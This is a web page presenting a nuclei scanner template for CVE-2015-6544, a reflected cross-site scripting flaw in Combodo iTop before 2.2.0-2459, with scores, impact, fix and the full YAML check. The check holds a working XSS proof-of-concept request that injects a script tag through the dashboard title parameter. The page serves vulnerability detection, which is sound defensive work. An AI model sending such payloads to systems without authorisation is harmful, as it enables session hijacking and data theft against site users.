Combodo iTop <2.2.0-2459 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.4%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a version of Combodo iTop that is equal to or greater than 2.2.0-2459 to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealer…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2015-6544 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-6544

info:
  name: Combodo iTop <2.2.0-2459 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Combodo iTop that is equal to or greater than 2.2.0-2459 to mitigate this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23268
    - http://sourceforge.net/p/itop/tickets/1114/
    - http://sourceforge.net/p/itop/code/3662/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6544
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-6544
    cwe-id: CWE-79
    epss-score: 0.05375
    epss-percentile: 0.92723
    cpe: cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: combodo
    product: itop
  tags: cve2015,cve,xss,itop,combodo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from